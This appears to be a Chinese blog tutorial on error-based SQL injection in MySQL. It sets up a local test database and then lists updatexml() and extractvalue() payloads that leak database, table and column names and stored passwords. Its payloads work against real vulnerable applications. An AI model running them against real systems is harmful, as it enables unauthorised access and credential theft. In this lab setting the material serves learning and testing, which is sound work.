SQL注入 | updatexml和extractvalue函数

一、自己搭建数据库及其内容

1.本地phpstudy打开phpmyAdmin

mysql array相关函数 mysql value函数_数据库


2.登录本机数据库的用户名及密码,并执行

mysql array相关函数 mysql value函数_database_02


3.点击数据库,输入我们想创建的库名(如:test123),点击创建

mysql array相关函数 mysql value函数_数据库_03


4.如下图所示,及数据库创建成功

mysql array相关函数 mysql value函数_database_04


5.进入到test123这个数据库中

mysql array相关函数 mysql value函数_数据库_05


6.点击创建数据表

mysql array相关函数 mysql value函数_字段_06


7.输入数据表名,字段不够用的话,自行增加即可,此处表中设置了三个字段分别是id,name,password类型这里可以根据自己的需要进行设置,此处三个字段默认均不能为空,并且设置id为主键,其中A_I表示的是自动排序

mysql array相关函数 mysql value函数_数据库_07


8.上述步骤完成后记得保存哦

mysql array相关函数 mysql value函数_mysql_08


9.插入一条数据

mysql array相关函数 mysql value函数_字段_09

10.输入idnamepassword的值

mysql array相关函数 mysql value函数_database_10


11.执行

mysql array相关函数 mysql value函数_database_11


12.终端查看表的信息

mysql array相关函数 mysql value函数_mysql_12

二、updatexml函数

(XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。第三个参数:new_value,String格式,替换查找到的符合条件的数据
1.本地测试,爆破数据库

select * from user where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1);

mysql array相关函数 mysql value函数_mysql array相关函数_13


2.获取数据表名信息

select * from user where id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test123'),0x7e),1);

mysql array相关函数 mysql value函数_mysql array相关函数_14


3.获取字段名信息

select * from user where id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test123' and table_name='user'),0x7e),1);

mysql array相关函数 mysql value函数_数据库_15


4.获取字段内容

select * from user where id=1 and updatexml(1,concat(0x7e,(select group_concat(password) from user),0x7e),1);

mysql array相关函数 mysql value函数_数据库_16

三、extractvalue函数

extractvalue函数:对XML文档进行查询的函数其实就是相当于我们熟悉的HTML文件中用<div><p><a>标签查找元素一样语法: extractvalue(目标xml文档,xml路径)第二个参数xml中的位置是可操作的地方,xml文档中查找字符位置是用/xx/xxx/xoox ...这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

1.终端中获取数据库信息

select * from user where id=1 and extractvalue(1,concat(0x7e,database(),0x7e));

mysql array相关函数 mysql value函数_database_17

2.获取表名信息

select * from user where id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test123'),0x7e));

mysql array相关函数 mysql value函数_database_18


3.获取字段名信息

select * from user where id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test123' and table_name='user'),0x7e));

mysql array相关函数 mysql value函数_字段_19


4.获取字段内容

select * from user where id=1 and extractvalue(1,concat(0x7e,(select group_concat(password) from user),0x7e));

mysql array相关函数 mysql value函数_mysql array相关函数_20